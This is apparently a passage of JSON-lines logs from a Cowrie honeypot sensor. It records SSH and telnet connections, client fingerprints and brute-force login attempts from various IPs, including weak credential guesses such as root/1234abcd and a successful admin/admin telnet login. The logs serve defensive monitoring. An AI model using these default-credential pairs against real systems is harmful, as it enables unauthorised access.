es256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:59.074163Z","src_ip":"103.82.132.16","session":"cc0418a5084f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234abcd","message":"login attempt [root/1234abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:22:59.863005Z","src_ip":"103.82.132.16","session":"cc0418a5084f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:01.129207Z","src_ip":"103.82.132.16","session":"cc0418a5084f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.416093111038208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:02.079378Z","src_ip":"192.119.13.58","session":"7589a85df787","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47110,"dst_ip":"10.17.0.5","dst_port":23,"session":"4bfae02501c6","protocol":"telnet","message":"New connection: 192.119.13.58:47110 (10.17.0.5:23) [session: 4bfae02501c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:04.591429Z"}
{"eventid":"cowrie.session.closed","duration":0.0063474178314208984,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:04.597641Z","src_ip":"192.119.13.58","session":"4bfae02501c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47162,"dst_ip":"10.17.0.5","dst_port":23,"session":"dff073b99a33","protocol":"telnet","message":"New connection: 192.119.13.58:47162 (10.17.0.5:23) [session: dff073b99a33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:04.608140Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48558,"dst_ip":"10.17.0.5","dst_port":23,"session":"c90b59cfaff3","protocol":"telnet","message":"New connection: 192.119.13.58:48558 (10.17.0.5:23) [session: c90b59cfaff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:04.889254Z"}
{"eventid":"cowrie.session.closed","duration":34.721519470214844,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:07.281616Z","src_ip":"192.119.13.58","session":"5bde4899d21c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.73.108","src_port":55544,"dst_ip":"10.17.0.5","dst_port":22,"session":"cce4b0cb4bbe","protocol":"ssh","message":"New connection: 49.51.73.108:55544 (10.17.0.5:22) [session: cce4b0cb4bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:10.448108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:10.452944Z","src_ip":"49.51.73.108","session":"cce4b0cb4bbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:10.520330Z","src_ip":"49.51.73.108","session":"cce4b0cb4bbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.39.208.26","src_port":57602,"dst_ip":"10.17.0.5","dst_port":22,"session":"05824e126dc7","protocol":"ssh","message":"New connection: 193.39.208.26:57602 (10.17.0.5:22) [session: 05824e126dc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:10.568352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:10.573664Z","src_ip":"193.39.208.26","session":"05824e126dc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":47040,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b86ee20830e","protocol":"ssh","message":"New connection: 87.251.79.125:47040 (10.17.0.5:22) [session: 1b86ee20830e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:10.644360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:10.650752Z","src_ip":"87.251.79.125","session":"1b86ee20830e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:10.659856Z","src_ip":"193.39.208.26","session":"05824e126dc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:10.728139Z","src_ip":"87.251.79.125","session":"1b86ee20830e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wireguard","password":"wireguard","message":"login attempt [wireguard/wireguard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:10.821262Z","src_ip":"49.51.73.108","session":"cce4b0cb4bbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"14725836","message":"login attempt [root/14725836] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:10.947753Z","src_ip":"87.251.79.125","session":"1b86ee20830e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mcserver","password":"123","message":"login attempt [mcserver/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:11.023503Z","src_ip":"193.39.208.26","session":"05824e126dc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:11.892224Z","src_ip":"49.51.73.108","session":"cce4b0cb4bbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:12.023350Z","src_ip":"87.251.79.125","session":"1b86ee20830e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:12.108739Z","src_ip":"193.39.208.26","session":"05824e126dc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.77395725250244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:12.592139Z","src_ip":"192.119.13.58","session":"226952214820","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.271342039108276,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:12.666223Z","src_ip":"192.119.13.58","session":"640d1adbea7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.924614667892456,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:13.647616Z","src_ip":"192.119.13.58","session":"4bb6362ea1fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.180736303329468,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:15.583281Z","src_ip":"192.119.13.58","session":"94b095e5984f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49362,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ceafcdd2a90","protocol":"telnet","message":"New connection: 192.119.13.58:49362 (10.17.0.5:23) [session: 2ceafcdd2a90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:18.506059Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38812,"dst_ip":"10.17.0.5","dst_port":23,"session":"a01e61df10ef","protocol":"telnet","message":"New connection: 192.119.13.58:38812 (10.17.0.5:23) [session: a01e61df10ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:22.991697Z"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:23.081226Z","src_ip":"152.32.132.28","session":"979a31446dc4","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:23.127822Z","src_ip":"152.32.132.28","session":"979a31446dc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.4583842754364,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:24.931596Z","src_ip":"192.119.13.58","session":"72e6bab1c110","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49926,"dst_ip":"10.17.0.5","dst_port":23,"session":"019663f1b65e","protocol":"telnet","message":"New connection: 192.119.13.58:49926 (10.17.0.5:23) [session: 019663f1b65e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:25.516752Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57026,"dst_ip":"10.17.0.5","dst_port":23,"session":"060551752375","protocol":"telnet","message":"New connection: 192.119.13.58:57026 (10.17.0.5:23) [session: 060551752375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:27.794189Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36534,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f5bb12e1f7a","protocol":"telnet","message":"New connection: 192.119.13.58:36534 (10.17.0.5:23) [session: 8f5bb12e1f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:28.344804Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":40990,"dst_ip":"10.17.0.5","dst_port":22,"session":"b45c14068927","protocol":"ssh","message":"New connection: 38.93.206.2:40990 (10.17.0.5:22) [session: b45c14068927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:28.682941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:28.687986Z","src_ip":"38.93.206.2","session":"b45c14068927","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:28.738760Z","src_ip":"38.93.206.2","session":"b45c14068927","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1a2a3a4a","message":"login attempt [root/1a2a3a4a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:28.895843Z","src_ip":"38.93.206.2","session":"b45c14068927","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.701484203338623,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:29.684355Z","src_ip":"192.119.13.58","session":"524b6916d9ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:29.948912Z","src_ip":"38.93.206.2","session":"b45c14068927","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.566837310791016,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:36.174897Z","src_ip":"192.119.13.58","session":"dff073b99a33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45172,"dst_ip":"10.17.0.5","dst_port":23,"session":"48a1b4dd0d26","protocol":"telnet","message":"New connection: 192.119.13.58:45172 (10.17.0.5:23) [session: 48a1b4dd0d26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:36.531939Z"}
{"eventid":"cowrie.session.closed","duration":31.8264102935791,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:36.715548Z","src_ip":"192.119.13.58","session":"c90b59cfaff3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.226.124","src_port":3647,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba9108f72bfc","protocol":"ssh","message":"New connection: 115.68.226.124:3647 (10.17.0.5:22) [session: ba9108f72bfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:36.981478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:36.990084Z","src_ip":"115.68.226.124","session":"ba9108f72bfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:37.183172Z","src_ip":"115.68.226.124","session":"ba9108f72bfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2222","message":"login attempt [root/2222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:38.003485Z","src_ip":"115.68.226.124","session":"ba9108f72bfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":53992,"dst_ip":"10.17.0.5","dst_port":23,"session":"d171cb417964","protocol":"telnet","message":"New connection: 192.119.13.58:53992 (10.17.0.5:23) [session: d171cb417964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:38.205858Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:39.210328Z","src_ip":"115.68.226.124","session":"ba9108f72bfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39430,"dst_ip":"10.17.0.5","dst_port":23,"session":"497eeba6ddce","protocol":"telnet","message":"New connection: 192.119.13.58:39430 (10.17.0.5:23) [session: 497eeba6ddce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:41.410724Z"}
{"eventid":"cowrie.session.closed","duration":57.32692289352417,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:52.353115Z","src_ip":"192.119.13.58","session":"482689dcb1f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.182.109","src_port":51016,"dst_ip":"10.17.0.5","dst_port":22,"session":"c760a1bbd735","protocol":"ssh","message":"New connection: 107.6.182.109:51016 (10.17.0.5:22) [session: c760a1bbd735]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:57.535539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:23:57.540943Z","src_ip":"107.6.182.109","session":"c760a1bbd735","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v0